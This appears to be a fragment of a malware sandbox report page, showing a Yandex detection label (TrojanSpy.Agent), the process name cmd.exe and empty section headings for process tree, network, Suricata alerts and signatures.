Yandex	TrojanSpy.Agent!1yjgwm52G7g

cmd.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All